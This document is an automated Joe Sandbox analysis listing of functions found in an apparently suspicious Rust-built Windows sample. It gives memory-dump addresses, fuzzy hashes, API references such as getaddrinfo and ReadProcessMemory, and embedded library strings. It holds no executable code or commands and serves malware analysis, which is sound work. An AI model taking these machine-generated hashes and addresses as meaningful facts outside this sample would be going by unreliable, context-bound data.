Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db71491a033197680db952cbf220dade2252bfbc91bf35a725948a50640fbd7c
Instruction ID: aad4418f1106c005bd2f8e7d56fe1282137f9194bfea617c94cdeeb37c4e29d8
Opcode Fuzzy Hash: db71491a033197680db952cbf220dade2252bfbc91bf35a725948a50640fbd7c
Instruction Fuzzy Hash: 83A28962A0DBC085E3729B28E4457EAB7A4FB99748F449121DFCC13B5ADF38D295CB10

Function 00007FF70FA9DD19 Relevance: 16.8, APIs: 13, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd5416738c9b843325e24ab23f8d81a274234f693e00efd674233b38a27a0d48
Instruction ID: 935f20499884544690071752b7933628ab761c386d3ab0d8081699ed01d58aad
Opcode Fuzzy Hash: cd5416738c9b843325e24ab23f8d81a274234f693e00efd674233b38a27a0d48
Instruction Fuzzy Hash: 6072AB62A0DBC085E361DB28E8447EAB7A4FB9A348F449125DFCC13B56DF39E195CB10

Function 00007FF70FA9DCDE Relevance: 16.8, APIs: 13, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 913889b010d5c50db8927eb53ba685f4c3d77112dfa6546ff9f1450ed8edc6d8
Instruction ID: 5906bc977294e8f307f50d0afac71562a3ee4df9dd6c0bfb81b8b9459eda2e5b
Opcode Fuzzy Hash: 913889b010d5c50db8927eb53ba685f4c3d77112dfa6546ff9f1450ed8edc6d8
Instruction Fuzzy Hash: 5B628B6290CBC085E371DB28E845BEAB7A4FB9A348F449125DFCC13A56DF39E195CB10

Function 00007FF70FA9DC65 Relevance: 16.7, APIs: 13, Instructions: 496COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA9DD72
memcpy.MSVCRT ref: 00007FF70FA9DD9F
memcpy.MSVCRT ref: 00007FF70FA9DDB7
memcpy.MSVCRT ref: 00007FF70FA9DE01
memcpy.MSVCRT ref: 00007FF70FA9E029
memcpy.MSVCRT ref: 00007FF70FA9E0E9
memcpy.MSVCRT ref: 00007FF70FA9E143
memcpy.MSVCRT ref: 00007FF70FA9E251
memcpy.MSVCRT ref: 00007FF70FA9E26B

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c34b195d03e92e6a869199111f6195f1c0c507bf3d705a67f8e8a602e5204d85
Instruction ID: 04355d685b7e809aded7cefd1d54d255dc1c81faed01c1329d543a68ae28e6b5
Opcode Fuzzy Hash: c34b195d03e92e6a869199111f6195f1c0c507bf3d705a67f8e8a602e5204d85
Instruction Fuzzy Hash: AC52BE62A0CBC085E721DB28E845BEAB7A4FB9A34CF459125DFCC13656DF38E195CB10

Function 00007FF70FA9DCB6 Relevance: 16.7, APIs: 13, Instructions: 479COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA9E029
memcpy.MSVCRT ref: 00007FF70FA9E0E9
memcpy.MSVCRT ref: 00007FF70FA9E143
memcpy.MSVCRT ref: 00007FF70FA9E251
memcpy.MSVCRT ref: 00007FF70FA9E65C

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: bdf9f902702893ee1cf5b51f36149f68391da9aab4dd2c55ec35716feb595c34
Instruction ID: 3a54c6f4e3465e881a88c41cc47fdfc7b86231715ded02558132e99a7f2caee7
Opcode Fuzzy Hash: bdf9f902702893ee1cf5b51f36149f68391da9aab4dd2c55ec35716feb595c34
Instruction Fuzzy Hash: 4852AD62A0CBC085E321DB28E845BEEB7A4FB9A348F449125DFCC13656DF39E195CB50

Function 00007FF70FA9DD02 Relevance: 16.7, APIs: 13, Instructions: 479COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA9E0E9
memcpy.MSVCRT ref: 00007FF70FA9E143
memcpy.MSVCRT ref: 00007FF70FA9E1AD
memcpy.MSVCRT ref: 00007FF70FA9E1C3
memcpy.MSVCRT ref: 00007FF70FA9E1DD
memcpy.MSVCRT ref: 00007FF70FA9E251
memcpy.MSVCRT ref: 00007FF70FA9E26B

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c88cab425d9e7dd8a9adeae085dcfe276cd2d25817f82fd14843685677262468
Instruction ID: a91d6e17b591f695f1962adade54b881732fff02b2b4f9a02117b17af667c69a
Opcode Fuzzy Hash: c88cab425d9e7dd8a9adeae085dcfe276cd2d25817f82fd14843685677262468
Instruction Fuzzy Hash: 3F529E62A0CBC085E321DB28E845BEEB7A4FB9A348F449125DFCC13656DF39E195CB50

Function 00007FF70FA9DBC7 Relevance: 16.7, APIs: 13, Instructions: 479COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA9DE01
memcpy.MSVCRT ref: 00007FF70FA9E029
memcpy.MSVCRT ref: 00007FF70FA9E0E9
memcpy.MSVCRT ref: 00007FF70FA9E143
memcpy.MSVCRT ref: 00007FF70FA9E251
memcpy.MSVCRT ref: 00007FF70FA9E65C

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: f66488db0795530fca0ae5ce0878bbbbc52f6fdd6e679c83dc3c3d3bc4f1d97b
Instruction ID: e229fb402870e3032158007761bf7c55828afd28046a41711ed579a3050a4444
Opcode Fuzzy Hash: f66488db0795530fca0ae5ce0878bbbbc52f6fdd6e679c83dc3c3d3bc4f1d97b
Instruction Fuzzy Hash: 7D529D62A0CBC085E321DB28E845BEAB7A4FB9A348F449125DFCC13756DF39E195CB50

Function 00007FF70FA73650 Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF70FA737F2
memcpy.MSVCRT ref: 00007FF70FA739A4
memcpy.MSVCRT ref: 00007FF70FA739BF

Strings

future polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-native-tls-0.3.1/src/lib.rs, xrefs: 00007FF70FA74649

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: future polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-native-tls-0.3.1/src/lib.rs
API String ID: 3510742995-589600265
Opcode ID: a160a6dbf90444d059a57b2a651c1f85cacd62767487ef80cebf6557d6c76691
Instruction ID: b82f9deea8968f63209006612137a6b4c86a8c45765adfc39fcb0c400f5e47b0
Opcode Fuzzy Hash: a160a6dbf90444d059a57b2a651c1f85cacd62767487ef80cebf6557d6c76691
Instruction Fuzzy Hash: 9BE17B32A08BC591E769DB24E9417EAB3A4FF99344F805126DF9C03756DF38E1A5C710

Function 00007FF70FADC7A0 Relevance: 9.2, APIs: 6, Instructions: 196
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF70FADC7FB
getaddrinfo.WS2_32 ref: 00007FF70FADC8A6
WSAGetLastError.WS2_32 ref: 00007FF70FADC8AF
memset.MSVCRT ref: 00007FF70FADC963
WSAStartup.WS2_32 ref: 00007FF70FADC96F
memset.MSVCRT ref: 00007FF70FADCA03

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memset$ErrorLastStartupgetaddrinfomemcpy
String ID:
API String ID: 3791713709-0
Opcode ID: 6976c64f6ddf266916f71f65ebb17ecc01fd2cc8940b297a2541a813ac6135ec
Instruction ID: 561fd7995c9ab03875507cf7e7b95d9b37e823f2e36e52969cb50e7b1f283b6c
Opcode Fuzzy Hash: 6976c64f6ddf266916f71f65ebb17ecc01fd2cc8940b297a2541a813ac6135ec
Instruction Fuzzy Hash: B7717D62A0C6D685FB11AB61EC01BF9A7A0EF46794FD48032EE5D07795DF3CA586C320

Function 00007FF70FA5AE7C Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 207
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAGetLastError.WS2_32 ref: 00007FF70FA5AF3C
getsockname.WS2_32 ref: 00007FF70FA5AFE0
WSAGetLastError.WS2_32 ref: 00007FF70FA5B037

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF70FA5B196
assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 00007FF70FA5B1AE

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLast$getsockname
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 3066790409-3544120690
Opcode ID: 3996327608e06d85950dd559437fddc55b3a0bae8fa9681a949e2c0947329b1d
Instruction ID: c7e97bd7b1168a60033a072f055305d155506c3cc3b4d3c1d398a83bb8ee466a
Opcode Fuzzy Hash: 3996327608e06d85950dd559437fddc55b3a0bae8fa9681a949e2c0947329b1d
Instruction Fuzzy Hash: FA91D3B2A0C28186E764AF58E445AEEF7B0FF85794F505135FA8943B50EB3DD494CB20

Function 00007FF70FA77E1C Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA77EB4
memcpy.MSVCRT ref: 00007FF70FA78123
memcpy.MSVCRT ref: 00007FF70FA7816C

Strings

internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF70FA781EC

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 3510742995-1501570450
Opcode ID: e07537e5fc8a7e2cb672d3bfbda92759642722500a10e2f6080099f1c316165c
Instruction ID: b20cc29137640ac2f0864c7b18fc6241ff8954f953deab1190731e3c76a28ca1
Opcode Fuzzy Hash: e07537e5fc8a7e2cb672d3bfbda92759642722500a10e2f6080099f1c316165c
Instruction Fuzzy Hash: 55B18B26A0DBC581E622DB28E8447F9A760FBAA754F51A221DFDC13752EF38D1D5CB00

Function 00007FF70FA6F224 Relevance: 7.7, APIs: 6, Instructions: 198COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA6F3DD
memcpy.MSVCRT ref: 00007FF70FA6F419
memcpy.MSVCRT ref: 00007FF70FA6F450

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9faba4b66fb7fcada093959cd919d60315a19f0719a172076119fb726fff5d3c
Instruction ID: a15edbbcca5239cb101ed879f9c3103b06bc962745a3bf1dcd68722d3235d012
Opcode Fuzzy Hash: 9faba4b66fb7fcada093959cd919d60315a19f0719a172076119fb726fff5d3c
Instruction Fuzzy Hash: F0915F62A0CAC185EB11EB21E8547FD6761EF9AB84F844135DE8D0B78AEF3CD585C320

Function 00007FF70FAB9BB0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,-00000008,0000018F767813A0,00000000,-00000006,?,?,?,00007FF70FA34851), ref: 00007FF70FAB9C2B
GetLastError.KERNEL32(?,?,-00000008,0000018F767813A0,00000000,-00000006,?,?,?,00007FF70FA34851), ref: 00007FF70FAB9C35

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: f53cd9b82bfab6845a487c6d0f1ce886955bf5eb0d772edfeac973bf3ab1dcdf
Instruction ID: f806a1bace824baefbaf23d66f2a775a376b01aee5bedae41558e54272c58b5e
Opcode Fuzzy Hash: f53cd9b82bfab6845a487c6d0f1ce886955bf5eb0d772edfeac973bf3ab1dcdf
Instruction Fuzzy Hash: 2B2104B2F1C5968AFB259A659C049FEA7A1EF47788F548035DF0E4B685CF3CA445C320

Function 00007FF70FA34750 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129threadCOMMON

Download Yara Rule

APIs

SetThreadDescription.KERNELBASE ref: 00007FF70FA34794
TlsGetValue.KERNEL32 ref: 00007FF70FA347B3

Strings

main, xrefs: 00007FF70FA3478A

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: DescriptionThreadValue
String ID: main
API String ID: 3615891720-3207122276
Opcode ID: 74e51fb81a4770813bc1d3455b471a3a3b06999d0a7bd2b13bdbe088b4c8612b
Instruction ID: 283f8f4049e3c82ed8c75fe9c4d9dc489b6a48110a20801b22ac452bb61ad6bd
Opcode Fuzzy Hash: 74e51fb81a4770813bc1d3455b471a3a3b06999d0a7bd2b13bdbe088b4c8612b
Instruction Fuzzy Hash: 3E518B61E0CAC288FB04FB749C517F9A7A4EF46744FD8403AEA4C56796DF2CA5468320

Function 00007FF70FAE3756 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32 ref: 00007FF70FAE37A5

Strings

ReadProcessMemory returned unexpected number of bytes readUnable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process pa, xrefs: 00007FF70FAE37E9
Unable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=, xrefs: 00007FF70FAE37DB

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: MemoryProcessRead
String ID: ReadProcessMemory returned unexpected number of bytes readUnable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process pa$Unable to read process dataUnable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=
API String ID: 1726664587-2189131707
Opcode ID: eb18a9f9311a0c59a3ae6a4d881f9dc087142abe45fa8c8c4dc33ec23735c833
Instruction ID: 52c9ed700990d1e5e88cb73c4e670d4f2b9baecc1f9a2be688972504f0637277
Opcode Fuzzy Hash: eb18a9f9311a0c59a3ae6a4d881f9dc087142abe45fa8c8c4dc33ec23735c833
Instruction Fuzzy Hash: 2411936270DB8192DA20EB12AD40BA9B764FB557C4F808131EF8D17B85DF3CE195C310

Function 00007FF70FA776F4 Relevance: 5.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA77709
memcpy.MSVCRT ref: 00007FF70FA7772E
memcpy.MSVCRT ref: 00007FF70FA777F9
memcpy.MSVCRT ref: 00007FF70FA77823

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 16165c49c5f625afc28a60e4beb8df7aab91efabca0f655a82a709a1bdfa4bd4
Instruction ID: e3ee071493185c0293a9e773490b47c0874aaef1d7281b64a67a70194799c3b6
Opcode Fuzzy Hash: 16165c49c5f625afc28a60e4beb8df7aab91efabca0f655a82a709a1bdfa4bd4
Instruction Fuzzy Hash: 9461A866A0C3C285E760EB21E815AFEABA1EF96794F800032EE8D47795DF2CD545C711

Function 00007FF70FADC1D0 Relevance: 4.6, APIs: 3, Instructions: 129networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FADC22F
getaddrinfo.WS2_32 ref: 00007FF70FADC36A
WSAGetLastError.WS2_32 ref: 00007FF70FADC373

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLastgetaddrinfomemcpy
String ID:
API String ID: 1131991525-0
Opcode ID: 76f71bd93e3362b8f39f501894176f8aa794869592b93eb8d6ac526acf25094a
Instruction ID: 0a63b8c299cf56544d65f13fab8943eaa72859269c20466679f774912f821e54
Opcode Fuzzy Hash: 76f71bd93e3362b8f39f501894176f8aa794869592b93eb8d6ac526acf25094a
Instruction Fuzzy Hash: E851B2A2A0C6C584EB60AF61D904BF8B7A1EF567A4FC44232DA5E077C4EF3C9684C210

Function 00007FF70FA34AEE Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA34B5F
memcpy.MSVCRT ref: 00007FF70FA34BE6

Strings

/, xrefs: 00007FF70FA34B9C

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: /
